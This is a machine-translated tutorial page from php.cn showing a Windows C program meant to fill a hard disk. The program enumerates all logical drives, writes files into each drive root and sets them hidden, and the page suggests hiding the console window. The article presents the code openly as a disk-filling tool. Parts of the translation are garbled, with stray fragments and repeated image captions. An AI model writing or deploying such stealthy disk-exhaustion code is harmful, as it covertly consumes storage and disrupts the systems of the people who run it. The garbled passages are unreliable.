Maison > développement back-end > Tutoriel C#.Net > C/C facilite l'écriture de programmes capables de remplir votre disque dur

C/C facilite l'écriture de programmes capables de remplir votre disque dur

黄舟
Libérer: 2017-01-22 14:15:07
original
2083 Les gens l'ont consulté

À propos de l'écriture d'un programme capable de remplir le disque dur

Pensons d'abord à l'idée :

Étape 1 : Obtenez la lettre du lecteur logique

Étape 2 : Créer un fichier

Étape 3 : Écrire des données dans le fichier

Exigences d'extension :

Une : Masquer la fenêtre

Deux : Définir le fichier comme étant masqué attribut


Ci-dessous, nous introduisons une API pour les idées ci-dessus et donnons le code source après l'avoir accepté


GetLogicalDriveStrings function

Remplit un tampon avec des chaînes qui spécifient les lecteurs valides dans le système.

DWORD WINAPI GetLogicalDriveStrings(  
  _In_  DWORD  nBufferLength,  
  _Out_ LPTSTR lpBuffer  
);
Copier après la connexion

C/C facilite lécriture de programmes capables de remplir votre disque dur

Cette fonction lit les disques disponibles dans le système dans lpBuffer

En cas de succès, renvoie la longueur totale obtenue

Il y a deux cas d'échec : l'un est que le tampon n'est pas assez long, et l'autre est d'autres problèmes

<. 🎜>

À propos des autres fonctions de l'API, sont relativement simples, et certaines fonctions peuvent être connues grâce à la signification du nom, je ne les présenterai pas ici. Il y a aussi des commentaires dans le code source. 🎜>Regardez le code source ci-dessous

Définissez les propriétés de navigation dans les fichiers :

#include <Windows.h>  
  
int main()  
{  
    //FreeConsole();    //隐藏控制台  
  
    char strDriveStrings[MAXBYTE] = { 0 };  
  
    //获取逻辑地址  
    DWORD dwDriveStrLen = GetLogicalDriveStringsA(MAXBYTE, strDriveStrings);  
  
    for (size_t i = 0; i < dwDriveStrLen; i += 4)    //每4个字节表示一个盘符               
    {  
        char strTargetPath[MAX_PATH] = { 0 }, strRoot[4] = { 0 };  
        strncpy_s(strRoot,&strDriveStrings[i], 4);  
        strcpy_s(strTargetPath, strRoot);  
  
        //创建100个文件  
        for (int j = 0; j < 100; j++)  
        {  
            char TempStrTargetPath[MAX_PATH];  
            strcpy_s(TempStrTargetPath, strTargetPath);  
            char FileName[MAXBYTE];  
            char Date[MAXBYTE] = "11111";  
            wsprintf(FileName, "%d.txt", j);  
            strcat_s(TempStrTargetPath, FileName);  
  
            //创建文件  
            HANDLE hFile;  
            hFile = CreateFileA(TempStrTargetPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);  
            if (hFile == INVALID_HANDLE_VALUE)  
                continue;  
            DWORD Pointer;  
  
            //写入数据  
            WriteFile(hFile, &Date, strlen(Date), &Pointer, NULL);  
            CloseHandle(hFile);  
  
            //将s所指向的某一块内存中的前n个 字节的内容全部设置为ch指定的ASCII值  
            memset(FileName, 0, sizeof(FileName));  
  
            //设置为隐藏  
            SetFileAttributesA(TempStrTargetPath, FILE_ATTRIBUTE_HIDDEN);  
        }  
          
    }  
    return 0;  
}
Copier après la connexion

Les résultats d'exécution sont les suivants : C/C facilite lécriture de programmes capables de remplir votre disque dur

Si les problèmes suivants surviennent : C/C facilite lécriture de programmes capables de remplir votre disque dur

Modifiez le jeu de caractères comme suit :C/C facilite lécriture de programmes capables de remplir votre disque dur

Donc, tant que vous créez quelques fichiers et données supplémentaires, le disque dur sera rempli C/C facilite lécriture de programmes capables de remplir votre disque dur

Ce qui précède est le contenu de C/C pour écrire facilement des programmes qui peuvent remplir le disque dur. plus de contenu connexe, veuillez faire attention au site Web PHP chinois (www.php.cn) !

Étiquettes associées:
source:php.cn
Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn
Tutoriels populaires
Plus>
Derniers téléchargements
Plus>
effets Web
Code source du site Web
Matériel du site Web
Modèle frontal